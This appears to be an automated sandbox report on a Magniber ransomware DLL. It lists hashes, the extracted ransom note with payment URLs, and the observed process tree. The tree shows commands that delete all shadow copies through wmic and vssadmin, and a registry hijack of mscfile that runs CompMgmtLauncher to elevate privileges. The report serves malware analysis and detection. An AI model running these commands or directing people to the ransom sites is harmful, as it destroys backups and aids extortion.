Analysis
-
max time kernel
102s -
max time network
132s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
18/08/2021, 18:52
Static task
static1
Behavioral task
behavioral1
Sample
a60c5212d52fe1488d2f82989a2947d2.dll
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
a60c5212d52fe1488d2f82989a2947d2.dll
Resource
win11
windows11_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
a60c5212d52fe1488d2f82989a2947d2.dll
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
a60c5212d52fe1488d2f82989a2947d2.dll
-
Size
21KB
-
MD5
a60c5212d52fe1488d2f82989a2947d2
-
SHA1
0a744d6c76902d28eb6687d66c18b0a354f29b9d
-
SHA256
10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e
-
SHA512
afd14daa5bd9448e09f25d561e8be34e16f93a2825129d165e817a4a2a3ffc339efefd6f26e78c4853acfbce7f51c88b81601324b123d8c377d72da15dcf9327
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://5a4cd0e05214c040f2dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.flysex.space/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.partscs.site/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.codehes.uno/dihlxbl
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://5a4cd0e05214c040f2dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.flysex.space/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.partscs.site/dihlxbl
http://5a4cd0e05214c040f2dihlxbl.codehes.uno/dihlxbl
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 8 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 928 1888 cmd.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 268 1888 cmd.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1856 1888 cmd.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 536 1888 cmd.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2236 1888 vssadmin.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2252 1888 vssadmin.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2292 1888 vssadmin.exe 44 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2284 1888 vssadmin.exe 44 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\PushProtect.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\PushProtect.tiff => C:\Users\Admin\Pictures\PushProtect.tiff.dihlxbl taskhost.exe File renamed C:\Users\Admin\Pictures\UnprotectConvert.png => C:\Users\Admin\Pictures\UnprotectConvert.png.dihlxbl taskhost.exe File renamed C:\Users\Admin\Pictures\GroupClose.raw => C:\Users\Admin\Pictures\GroupClose.raw.dihlxbl taskhost.exe File renamed C:\Users\Admin\Pictures\InstallLimit.raw => C:\Users\Admin\Pictures\InstallLimit.raw.dihlxbl taskhost.exe File renamed C:\Users\Admin\Pictures\MountTrace.crw => C:\Users\Admin\Pictures\MountTrace.crw.dihlxbl taskhost.exe File renamed C:\Users\Admin\Pictures\MeasureUpdate.tif => C:\Users\Admin\Pictures\MeasureUpdate.tif.dihlxbl taskhost.exe File renamed C:\Users\Admin\Pictures\MergeInitialize.tif => C:\Users\Admin\Pictures\MergeInitialize.tif.dihlxbl taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1940 set thread context of 1128 1940 rundll32.exe 7 PID 1940 set thread context of 1188 1940 rundll32.exe 3 PID 1940 set thread context of 1240 1940 rundll32.exe 6 -
Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2284 vssadmin.exe 2236 vssadmin.exe 2252 vssadmin.exe 2292 vssadmin.exe -
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000569d8d8f4b83814bbdcc417abc55a3ea00000000020000000000106600000001000020000000588e6cb53660ce5db4f34a97dc8470da7e20f00d6ab358092b3819717e45f1ba000000000e80000000020000200000005218096945740d6f409b97762202f8ca84e4b579b3708abcef8b7bf46a7d264390000000d214cd8b8dd79c4325dcd31a3ff329f23afefc4eba634e7d6122d498ec0c71eb37a289b285a31e7ddff4f0f019dd3cf3ef1dd5ee67c81790ac70f5ff1894854d1d987d56bb648bf2b33c2af5836913c69c613fb373a601b7a089cec7999dc99a8201381c7c2b51242860de2509d9addb1dde168f5581d2f5c683ad65358432d35476b42a9bcee4d630bac8fa784088ca40000000eb88482b87fdca2ee487ebaedaccad6ba67cc9523caaca6e9a103a001a0a122bad0dc2808eda28a0dcf02a56a045b369a28ded4adeb6be4617e2e74ddb998819 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{20D7E711-0056-11EC-9155-42C11A88956C} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336078022" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000569d8d8f4b83814bbdcc417abc55a3ea000000000200000000001066000000010000200000008a2c0461f82e81006f968f302dfe1643a5fe91e5531285261263216628e73225000000000e80000000020000200000006e49755bd47c9b2e38d49336dce9c77ffee76029c677459ca95ff1e14f449f79200000000c1e8a54f179195a5de53696f72fe40fce1eaaf4f3423bd3d512343ef0aefaf940000000101041ac7e9692c18ad5bb247af96c1b17a64236a490bfdda95e118d6b14e8b20f0e1b32cd9d720e281dee5c878909850043b432e56c05a1e16cfba2e87751f2 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 400163f96294d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command rundll32.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1728 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1940 rundll32.exe 1940 rundll32.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1940 rundll32.exe 1940 rundll32.exe 1940 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1240 Explorer.EXE Token: SeShutdownPrivilege 1240 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1324 WMIC.exe Token: SeSecurityPrivilege 1324 WMIC.exe Token: SeTakeOwnershipPrivilege 1324 WMIC.exe Token: SeLoadDriverPrivilege 1324 WMIC.exe Token: SeSystemProfilePrivilege 1324 WMIC.exe Token: SeSystemtimePrivilege 1324 WMIC.exe Token: SeProfSingleProcessPrivilege 1324 WMIC.exe Token: SeIncBasePriorityPrivilege 1324 WMIC.exe Token: SeCreatePagefilePrivilege 1324 WMIC.exe Token: SeBackupPrivilege 1324 WMIC.exe Token: SeRestorePrivilege 1324 WMIC.exe Token: SeShutdownPrivilege 1324 WMIC.exe Token: SeDebugPrivilege 1324 WMIC.exe Token: SeSystemEnvironmentPrivilege 1324 WMIC.exe Token: SeRemoteShutdownPrivilege 1324 WMIC.exe Token: SeUndockPrivilege 1324 WMIC.exe Token: SeManageVolumePrivilege 1324 WMIC.exe Token: 33 1324 WMIC.exe Token: 34 1324 WMIC.exe Token: 35 1324 WMIC.exe Token: SeShutdownPrivilege 1240 Explorer.EXE Token: SeShutdownPrivilege 1240 Explorer.EXE Token: SeIncreaseQuotaPrivilege 568 WMIC.exe Token: SeSecurityPrivilege 568 WMIC.exe Token: SeTakeOwnershipPrivilege 568 WMIC.exe Token: SeLoadDriverPrivilege 568 WMIC.exe Token: SeSystemProfilePrivilege 568 WMIC.exe Token: SeSystemtimePrivilege 568 WMIC.exe Token: SeProfSingleProcessPrivilege 568 WMIC.exe Token: SeIncBasePriorityPrivilege 568 WMIC.exe Token: SeCreatePagefilePrivilege 568 WMIC.exe Token: SeBackupPrivilege 568 WMIC.exe Token: SeRestorePrivilege 568 WMIC.exe Token: SeShutdownPrivilege 568 WMIC.exe Token: SeDebugPrivilege 568 WMIC.exe Token: SeSystemEnvironmentPrivilege 568 WMIC.exe Token: SeRemoteShutdownPrivilege 568 WMIC.exe Token: SeUndockPrivilege 568 WMIC.exe Token: SeManageVolumePrivilege 568 WMIC.exe Token: 33 568 WMIC.exe Token: 34 568 WMIC.exe Token: 35 568 WMIC.exe Token: SeIncreaseQuotaPrivilege 396 WMIC.exe Token: SeSecurityPrivilege 396 WMIC.exe Token: SeTakeOwnershipPrivilege 396 WMIC.exe Token: SeLoadDriverPrivilege 396 WMIC.exe Token: SeSystemProfilePrivilege 396 WMIC.exe Token: SeSystemtimePrivilege 396 WMIC.exe Token: SeProfSingleProcessPrivilege 396 WMIC.exe Token: SeIncBasePriorityPrivilege 396 WMIC.exe Token: SeCreatePagefilePrivilege 396 WMIC.exe Token: SeBackupPrivilege 396 WMIC.exe Token: SeRestorePrivilege 396 WMIC.exe Token: SeShutdownPrivilege 396 WMIC.exe Token: SeDebugPrivilege 396 WMIC.exe Token: SeSystemEnvironmentPrivilege 396 WMIC.exe Token: SeRemoteShutdownPrivilege 396 WMIC.exe Token: SeUndockPrivilege 396 WMIC.exe Token: SeManageVolumePrivilege 396 WMIC.exe Token: 33 396 WMIC.exe Token: 34 396 WMIC.exe Token: 35 396 WMIC.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1240 Explorer.EXE 316 iexplore.exe 1240 Explorer.EXE 1240 Explorer.EXE 1240 Explorer.EXE 1240 Explorer.EXE -
Suspicious use of SendNotifyMessage 6 IoCs
pid Process 1240 Explorer.EXE 1240 Explorer.EXE 1240 Explorer.EXE 1240 Explorer.EXE 1240 Explorer.EXE 1240 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 316 iexplore.exe 316 iexplore.exe 984 IEXPLORE.EXE 984 IEXPLORE.EXE 984 IEXPLORE.EXE 984 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 1128 wrote to memory of 1728 1128 taskhost.exe 26 PID 1128 wrote to memory of 1728 1128 taskhost.exe 26 PID 1128 wrote to memory of 1728 1128 taskhost.exe 26 PID 1128 wrote to memory of 1792 1128 taskhost.exe 27 PID 1128 wrote to memory of 1792 1128 taskhost.exe 27 PID 1128 wrote to memory of 1792 1128 taskhost.exe 27 PID 1128 wrote to memory of 1708 1128 taskhost.exe 28 PID 1128 wrote to memory of 1708 1128 taskhost.exe 28 PID 1128 wrote to memory of 1708 1128 taskhost.exe 28 PID 1708 wrote to memory of 1324 1708 cmd.exe 31 PID 1708 wrote to memory of 1324 1708 cmd.exe 31 PID 1708 wrote to memory of 1324 1708 cmd.exe 31 PID 1792 wrote to memory of 316 1792 cmd.exe 33 PID 1792 wrote to memory of 316 1792 cmd.exe 33 PID 1792 wrote to memory of 316 1792 cmd.exe 33 PID 1240 wrote to memory of 784 1240 Explorer.EXE 36 PID 1240 wrote to memory of 784 1240 Explorer.EXE 36 PID 1240 wrote to memory of 784 1240 Explorer.EXE 36 PID 784 wrote to memory of 568 784 cmd.exe 35 PID 784 wrote to memory of 568 784 cmd.exe 35 PID 784 wrote to memory of 568 784 cmd.exe 35 PID 1188 wrote to memory of 1104 1188 Dwm.exe 37 PID 1188 wrote to memory of 1104 1188 Dwm.exe 37 PID 1188 wrote to memory of 1104 1188 Dwm.exe 37 PID 1104 wrote to memory of 396 1104 cmd.exe 39 PID 1104 wrote to memory of 396 1104 cmd.exe 39 PID 1104 wrote to memory of 396 1104 cmd.exe 39 PID 1940 wrote to memory of 552 1940 rundll32.exe 41 PID 1940 wrote to memory of 552 1940 rundll32.exe 41 PID 1940 wrote to memory of 552 1940 rundll32.exe 41 PID 552 wrote to memory of 1764 552 cmd.exe 46 PID 552 wrote to memory of 1764 552 cmd.exe 46 PID 552 wrote to memory of 1764 552 cmd.exe 46 PID 316 wrote to memory of 984 316 iexplore.exe 56 PID 316 wrote to memory of 984 316 iexplore.exe 56 PID 316 wrote to memory of 984 316 iexplore.exe 56 PID 316 wrote to memory of 984 316 iexplore.exe 56 PID 268 wrote to memory of 1492 268 cmd.exe 57 PID 268 wrote to memory of 1492 268 cmd.exe 57 PID 268 wrote to memory of 1492 268 cmd.exe 57 PID 536 wrote to memory of 680 536 cmd.exe 60 PID 536 wrote to memory of 680 536 cmd.exe 60 PID 536 wrote to memory of 680 536 cmd.exe 60 PID 928 wrote to memory of 368 928 cmd.exe 59 PID 928 wrote to memory of 368 928 cmd.exe 59 PID 928 wrote to memory of 368 928 cmd.exe 59 PID 1856 wrote to memory of 1712 1856 cmd.exe 58 PID 1856 wrote to memory of 1712 1856 cmd.exe 58 PID 1856 wrote to memory of 1712 1856 cmd.exe 58 PID 680 wrote to memory of 1084 680 CompMgmtLauncher.exe 61 PID 680 wrote to memory of 1084 680 CompMgmtLauncher.exe 61 PID 680 wrote to memory of 1084 680 CompMgmtLauncher.exe 61 PID 1492 wrote to memory of 752 1492 CompMgmtLauncher.exe 67 PID 1492 wrote to memory of 752 1492 CompMgmtLauncher.exe 67 PID 1492 wrote to memory of 752 1492 CompMgmtLauncher.exe 67 PID 1712 wrote to memory of 584 1712 CompMgmtLauncher.exe 66 PID 1712 wrote to memory of 584 1712 CompMgmtLauncher.exe 66 PID 1712 wrote to memory of 584 1712 CompMgmtLauncher.exe 66 PID 368 wrote to memory of 2064 368 CompMgmtLauncher.exe 63 PID 368 wrote to memory of 2064 368 CompMgmtLauncher.exe 63 PID 368 wrote to memory of 2064 368 CompMgmtLauncher.exe 63
Processes
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:396
-
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\a60c5212d52fe1488d2f82989a2947d2.dll,#12⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:1764
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:784
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1728
-
-
C:\Windows\system32\cmd.execmd /c "start http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl^&1^&47077035^&93^&369^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl&1&47077035&93&369&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:316 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:984
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1324
-
-
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:568
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2064
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:268 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:752
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:584
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1084
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2236
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2252
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2292
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2284
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2364